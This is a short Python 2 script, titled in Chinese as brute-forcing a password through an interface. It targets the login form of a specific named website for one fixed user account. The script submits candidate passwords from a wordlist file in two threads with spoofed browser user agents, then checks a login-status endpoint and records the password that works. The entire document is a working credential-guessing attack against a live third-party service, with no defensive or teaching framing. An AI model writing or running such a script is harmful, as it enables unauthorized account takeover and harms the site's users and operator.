通过接口暴力破解密码

import requests
import threading
import sys
import os
import time
reload(sys)
sys.setdefaultencoding('UTF-8')

url = 'http://web.fangdongliqi.com/'

headers0={
    'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0",
    #'Referer':'http://web.fangdongliqi.com/',
}
headers1={
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36'
}

def password(password,headers):
    postdata = {
            '__VIEWSTATE':'/wEPDwUJMzg1Nzk2MjkwD2QWAmYPZBYCAgQPD2QWAh4Hb25jbGljawUTcmV0dXJuIExvZ2luQ2hlY2soKWQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFEGNrYlJlbWVtYmVyTG9naW7zJ9o8NUSWJe2HBNn+uJCEZE4MsAZKXcjmcaznjUxegw==',
            '__VIEWSTATEGENERATOR':'70B4BD4E',
            '__EVENTVALIDATION':'	/wEdAAeLLYaLFaPgs2NJYQg6uIupjBZTC/Oe9LtyHr1zdRGwGYWDpeI41dtZo7urN/YwNwCFa3z02QmQnYFjj3wKxfjrkmkX6Qg79auoE/whv3XuAKKeKEbp39eHc9mbdvkCgxC2rOhEGxFaPoqg/tPtiGhk78Q8b6/12FGjdZD/nyEYeD6cFj1ZR7BkhunmMZKpK0k=',
            'txtLoginUser' : 'xxxxxx@163.com',
            'txtLoginPwd' : password,
            'txtCode':'',
            'hf_LoginCode':'N',
            'btnLogin':u'登录',
        }
    print password
    with open('error.txt','a')as f:
        f.write(password+'\n')
    s = requests.session()
    s.post(url, data = postdata,headers=headers)

    #r=s.get('http://web.fangdongliqi.com/main.aspx')
    #r1=s.get('http://web.fangdongliqi.com/Users/Ajax_ashx/UserInfo.ashx?GetUserInfo=Y&time=Fri%20Jul%2029%202016%2010:41:22%20GMT+0800')

    login=s.get('http://web.fangdongliqi.com/Users/Ajax_ashx/UserInfo.ashx?CheckLogin=CheckLogin')
    if login.text=='SUCCESS':
        print login.text
        print 'Done:',password
        with open('Done.txt','a')as f:
            f.write(password+'\n')
        sys.exit()#等价于os._exit()

def test0():
    with open("password.txt",'rb')as f:
        for line in f.readlines():
            lines=line.strip('\n\r\t')
            if lines.startswith('0'):
                password(lines,headers0)

def test1():
    with open("password.txt",'rb')as f:
        for line in f.readlines():
            lines=line.strip('\n\r\t')
            if lines.startswith('1'):
                password(lines,headers1)

threads=[]
s0=threading.Thread(target=test0)
threads.append(s0)
s1=threading.Thread(target=test1)
threads.append(s1)


if __name__=='__main__':

    for s in threads:
        s.setDaemon(True)
        s.start()
    for s in threads:
        s.join()